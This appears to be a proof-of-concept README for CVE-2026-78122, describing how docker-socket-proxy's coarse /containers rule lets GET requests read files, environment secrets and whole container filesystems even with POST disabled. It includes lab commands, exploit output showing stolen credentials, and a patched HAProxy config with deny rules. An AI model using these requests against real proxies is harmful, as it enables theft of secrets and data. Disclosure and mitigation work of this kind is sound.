## https://sploitus.com/exploit?id=2DDF171A-EC6F-5014-AC4E-DBE83BFEDB8A
# CVE-2026-78122 β Proof of Concept
**Tecnativa `docker-socket-proxy` β€ 0.5.0 β Insufficient Access-Control Granularity (CWE-1220)**
CVSS 4.0: **8.3 (High)** β `CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`
> Attack Vector is **Adjacent** (`AV:A`): the attacker needs local/adjacent
> network reach to the proxy β which is exactly why keeping it off any routable
> interface is part of the mitigation.
`docker-socket-proxy` is a HAProxy front-end for the Docker socket whose whole
purpose is to hand out *scoped, least-privilege* access to the Docker API. The
canonical "safe, read-only" recipe operators use is:
```
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
```
Operators reasonably believe this yields **read-only container metadata**. It
does not.
## Root cause
In [`haproxy.cfg`](https://github.com/Tecnativa/docker-socket-proxy/blob/v0.5.0/haproxy.cfg#L60)
the entire `/containers` namespace is gated by a single coarse prefix rule:
```haproxy
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
```
That regex matches **every** GET sub-path under `/containers`, including the
sensitive read endpoints that were never meant to be part of "list containers".
Because they are all `GET`, the `POST=0` guard does nothing to stop them:
| Endpoint (GET) | What it leaks |
|------------------------------------|-------------------------------------------------|
| `/containers/{id}/archive?path=β¦` | **Arbitrary file read** from any container |
| `/containers/{id}/export` | **Entire container filesystem** as a tar |
| `/containers/{id}/logs` | Container stdout/stderr |
| `/containers/{id}/top` | Process list with full argv (may contain creds) |
| `/containers/{id}/json` | Full config incl. **environment variables** |
Net effect: with the "hardened" `CONTAINERS=1, POST=0` posture, anyone who can
reach the proxy can dump secrets and exfiltrate the complete filesystem of
**every** container on the host.
## Layout
```
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh β end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
```
## Run it
Requires Docker + Docker Compose and a POSIX shell (Git Bash on Windows works).
```bash
./verify.sh
```
Or step by step:
```bash
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
```
> The proxy is bound to `127.0.0.1` only. Never expose a Docker socket proxy on
> a routable interface.
### Observed result (v0.5.0)
```
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
```
Every item above was obtained with **`POST=0`** still in force.
## Mitigation
Real fix: upgrade to the patched release (tracked in
[issue #182](https://github.com/Tecnativa/docker-socket-proxy/issues/182) /
[PR #183](https://github.com/Tecnativa/docker-socket-proxy/pull/183)) and stop
relying on `CONTAINERS=1` alone being "read-only".
This repo also ships a drop-in hardened config
([`mitigation/haproxy.patched.cfg`](mitigation/haproxy.patched.cfg)) that adds
explicit `deny` rules for the dangerous sub-paths *before* the coarse
`/containers` allow, each re-enableable via a dedicated flag
(`ALLOW_ARCHIVE`, `ALLOW_EXPORT`, `ALLOW_LOGS`, `ALLOW_TOP`):
```haproxy
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
```
Verified before/after (`verify.sh` output) β same `CONTAINERS=1, POST=0` posture:
| GET endpoint | Vulnerable (:2375) | Mitigated (:2376) |
|-------------------------------------|:------------------:|:-----------------:|
| `/containers/json` (list) | 200 | 200 |
| `/containers/{id}/json` (inspect) | 200 | 200 |
| `/containers/{id}/archive` | **200** | **403** |
| `/containers/{id}/export` | **200** | **403** |
| `/containers/{id}/logs` | **200** | **403** |
| `/containers/{id}/top` | **200** | **403** |
Legitimate list/inspect still work; the exfiltration primitives are blocked.
Operationally, also: keep the proxy off any routable network, mount the docker
socket read-only, and apply least privilege (only enable the exact flags a
consumer needs).
## References
- CVE-2026-78122 (NVD) β https://nvd.nist.gov/vuln/detail/CVE-2026-78122
- CVE-2026-78122 (cvefeed) β https://cvefeed.io/vuln/detail/CVE-2026-78122
- VulnCheck advisory β https://www.vulncheck.com/advisories/docker-socket-proxy-through-insufficient-access-control-granularity-exposes-container-filesystems
- Original writeup (nedlir) β https://gist.github.com/nedlir/e4f52f88a757f02c67db1fd5dd70d732
- Upstream repo β https://github.com/Tecnativa/docker-socket-proxy
- Vulnerable config β https://github.com/Tecnativa/docker-socket-proxy/blob/v0.5.0/haproxy.cfg#L49-L61
- Issue #182 / PR #183
---
*For authorized security testing and education only. The lab runs entirely on
your own host against containers you created.*